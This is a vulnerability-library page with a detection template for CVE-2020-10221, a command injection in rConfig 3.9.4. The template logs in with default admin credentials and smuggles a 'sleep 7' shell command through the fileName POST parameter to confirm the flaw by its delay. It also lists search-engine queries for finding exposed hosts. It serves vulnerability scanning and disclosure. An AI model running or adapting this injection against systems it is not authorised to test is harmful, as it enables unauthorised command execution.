/Vulnerability Library

rConfig <= 3.9.4 - Authenticated OS Command Injection

CVE-2020-10221
Early Release

Description

lib/ajaxHandlers/ajaxAddTemplate.php in rConfig through 3.9.4 does not properly sanitize the fileName POST parameter before using it in a shell command, allowing an authenticated attacker to inject arbitrary OS commands. This template uses default admin credentials to log in before triggering the injection; override the username / userpassword fields for environments with changed credentials.

Severity

High

CVSS Score

8.8

Exploit Probability

37%

Affected Product

rconfig

Published Date

July 14, 2026

Template Author

jayachandran from securin labs (https://securin.io)

CVE-2020-10221.yaml
id: CVE-2020-10221

info:
  name: rConfig <= 3.9.4 - Authenticated OS Command Injection
  author: Jayachandran from Securin Labs (https://securin.io)
  severity: high
  description: |
    lib/ajaxHandlers/ajaxAddTemplate.php in rConfig through 3.9.4 does not properly sanitize the fileName POST parameter before using it in a shell command, allowing an authenticated attacker to inject arbitrary OS commands. This template uses default admin credentials to log in before triggering the injection; override the username / userpassword fields for environments with changed credentials.
  remediation: |
    Upgrade rConfig beyond 3.9.4 once a fixed release is available, or restrict access to /lib/ajaxHandlers/ and change default credentials.
  reference:
    - https://github.com/advisories/GHSA-hxjm-95v4-6qjj
    - https://www.exploit-db.com/exploits/48207
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10221
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-10221
    cwe-id: CWE-78
    epss-score: 0.36754
    epss-percentile: 0.98383
    cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: rconfig
    product: rconfig
    shodan-query: body:"/html/rconfig"
    fofa-query: body="/html/rconfig"
  tags: cve,cve2020,rconfig,rce,authenticated,intrusive

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "rconfig")'
          - 'status_code==200'
        condition: and
        internal: true

  - raw:
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&userpassword={{password}}

      - |
        @timeout: 30s
        POST /lib/ajaxHandlers/ajaxAddTemplate.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        fileName=test%3Bsleep%207%3B

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=7'

      - type: status
        status:
          - 200
# digest: 490a00463044022002d6ae3afb9137b1309cc28e3758e167641991466133e758ebe310e901dab68002206a7056cdec6a7eccd206b8a3c6c880fc0c9356875e032c95f02162888cc0c905:922c64590222798bb761d5b6d8e72950
8.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2020-10221
CWE ID:
cwe-78

References

https://github.com/advisories/GHSA-hxjm-95v4-6qjjhttps://www.exploit-db.com/exploits/48207https://nvd.nist.gov/vuln/detail/CVE-2020-10221

Remediation Steps

Upgrade rConfig beyond 3.9.4 once a fixed release is available, or restrict access to /lib/ajaxHandlers/ and change default credentials.